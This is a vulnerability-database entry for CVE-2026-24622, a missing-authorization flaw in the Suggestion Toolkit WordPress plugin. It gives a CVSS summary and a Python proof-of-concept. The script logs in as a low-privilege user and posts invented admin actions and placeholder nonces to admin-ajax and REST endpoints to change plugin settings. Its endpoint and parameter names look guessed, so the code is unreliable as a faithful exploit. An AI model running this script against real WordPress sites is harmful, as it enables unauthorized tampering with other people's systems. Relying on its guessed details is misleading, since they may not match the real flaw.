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CVE-2026-24622 CVSS 5.4 MEDIUM

CVE-2026-24622

Published: 2026-01-23 15:16:21
Last Modified: 2026-04-28 15:16:20

Description

Missing Authorization vulnerability in Sergiy Dzysyak Suggestion Toolkit suggestion-toolkit allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Suggestion Toolkit: from n/a through <= 5.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Suggestion Toolkit <= 5.0 (WordPress)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-24622 PoC - Suggestion Toolkit Broken Access Control # Target: WordPress site with Suggestion Toolkit plugin <= 5.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "user_password" def get_nonce(s, url): """Extract WordPress nonce for authentication""" resp = s.get(f"{url}/wp-login.php") match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', resp.text) return match.group(1) if match else None def login(s, username, password): """Authenticate as low-privilege user""" nonce = get_nonce(s, TARGET_URL) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': f'{TARGET_URL}/wp-admin/' } resp = s.post(f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=True) return 'wordpress_logged_in' in s.cookies.get_dict() def exploit_broken_access_control(s): """ Exploit Missing Authorization vulnerability Attempts to access admin functions as low-privilege user """ # Identify vulnerable endpoint (plugin-specific) vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/suggestion-toolkit/v1/', ] # Exploit payload - modify plugin settings without admin privileges exploit_data = { 'action': 'suggestion_toolkit_admin_action', 'nonce': 'attacker_provided_or_bypassed_nonce', 'setting': 'malicious_value', 'function': 'update_plugin_settings' } for endpoint in vulnerable_endpoints: try: resp = s.post(f"{TARGET_URL}{endpoint}", data=exploit_data, timeout=10) # Check for successful unauthorized access if resp.status_code == 200 and 'success' in resp.text.lower(): print(f"[!] Vulnerable endpoint found: {endpoint}") print(f"[*] Response: {resp.text[:200]}") return True except requests.RequestException as e: continue return False def main(): print("[*] CVE-2026-24622 - Suggestion Toolkit Broken Access Control") print("[*] Target:", TARGET_URL) s = requests.Session() if login(s, USERNAME, PASSWORD): print("[+] Login successful as low-privilege user") if exploit_broken_access_control(s): print("[!] VULNERABLE - Access control bypass confirmed") else: print("[-] Target may not be vulnerable or plugin not installed") else: print("[-] Login failed") if __name__ == "__main__": main()

References

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